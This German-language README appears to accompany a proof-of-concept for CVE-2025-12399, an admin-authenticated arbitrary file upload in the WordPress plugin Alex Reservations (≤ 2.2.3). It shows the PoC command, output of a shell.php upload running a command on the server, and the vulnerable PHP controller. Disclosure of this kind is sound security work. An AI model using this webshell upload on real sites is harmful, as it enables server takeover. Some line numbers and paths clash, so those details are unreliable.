d0n601/cve-2025-12399Alex Reservations: Smart Restaurant Booking <= 2.2.3 - Authentifiziert (Admin+) Beliebiger Datei-Upload
Alex Reservations: Smart Restaurant Booking <= 2.2.3 – Authentifizierter (Admin+) Upload beliebiger Dateien
Das WordPress-Plugin Alex Reservations (Versionen 2.2.3 und früher) enthält eine Schwachstelle beim Upload beliebiger Dateien, die es authentifizierten WordPress-Administratoren ermöglicht, schädliche PHP-Dateien auf den Server hochzuladen, was möglicherweise zu Remote-Codeausführung führt.
Ein POC CVE-2025-12399.py wird bereitgestellt, um zu demonstrieren, wie ein entfernter Angreifer shell.php hochlädt und Remote-Code ausführt:
python3 ./CVE-2025-12399.py https://TARGETSITE.com admin "$PASSWORD"
[+] Target: http://TARGETSITE.com
[+] Username: admin
[+] Nonce obtained: 022b25d0a5
[+] File uploaded successfully!
[+] Shell URL: https://TARGETSITE.com/wp-content/uploads/alex-reservations/2025/10/shell.php
[+] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Die Schwachstelle befindet sich in der Datei UploadFileController.php am Endpunkt . Die Upload-Funktionalität verfügt nicht über eine ordnungsgemäße Dateivalidierung und führt nur eine grundlegende Bereinigung des Dateinamens mithilfe eines Regex-Musters durch. Dadurch können authentifizierte WordPress-Administratoren beliebige Dateien hochladen, einschließlich PHP-Dateien, die auf dem Server ausgeführt werden können.
/wp-json/srr/v1/app/upload/fileQuelle: Benutzereingabe aus $_FILES['file'] (Zeile 13)
Senke: copy($file['tmp_name'], $target_dir_file) (Zeile 38)
Die Schwachstelle entsteht, weil:
routes.php registriert.UploadFileController erweitert den Basis-Controller.$_FILES['file'] werden ohne Validierung direkt verarbeitet.preg_replace('/[^a-z0-9_\.\-[:space:]]/i', '_', $file_name) (Zeile 50)wp-content/uploads/alexr-uploads/YYYY/MM/ ohne MIME-Typ-Validierung oder Dateiendungsbeschränkungen gespeichert.public function upload(Request $request)
{
$file = $_FILES['file']; // SOURCE: User input ([line 13](https://plugins.trac.wordpress.org/browser/alex-reservations/trunk/includes/application/Alexr/Http/Controllers/UploadFileController.php#L13))
// Target dir / url
$upload_dir = wp_upload_dir();
$date = evavel_date_now()->format('Y/m');
$base_dir = $upload_dir['basedir'].'/'.ALEXR_UPLOAD_FOLDER.'/'.$date;
$base_url = $upload_dir['baseurl'].'/'.ALEXR_UPLOAD_FOLDER.'/'.$date;
if (!file_exists($base_dir)) {
$folder_created = wp_mkdir_p($base_dir);
if (!$folder_created) {
return $this->response([
'success' => false,
'error' => __eva('Error creating folder.')
]);
}
}
$file_name = $file['name'];
$file_name = preg_replace('/[^a-z0-9_\.\-[:space:]]/i', '_', $file_name); // Only basic sanitization ([line 50](https://plugins.trac.wordpress.org/browser/alex-reservations/trunk/includes/application/Alexr/Http/Controllers/UploadFileController.php#L50))
$target_dir_file = $base_dir.'/'.$file_name;
$target_url_file = $base_url.'/'.$file_name;
$result = copy($file['tmp_name'], $target_dir_file); // SINK: Direct file copy ([line 38](https://plugins.trac.wordpress.org/browser/alex-reservations/trunk/includes/application/Alexr/Http/Controllers/UploadFileController.php#L38))
if (!$result) {
return $this->response([
'success' => false,
'error' => __eva('Error saving file.')
]);
}
return $this->response([
'success' => true,
'file_path' => $target_dir_file,
'file_url' => $target_url_file,
'message' => __eva('Uploaded.')
]);
}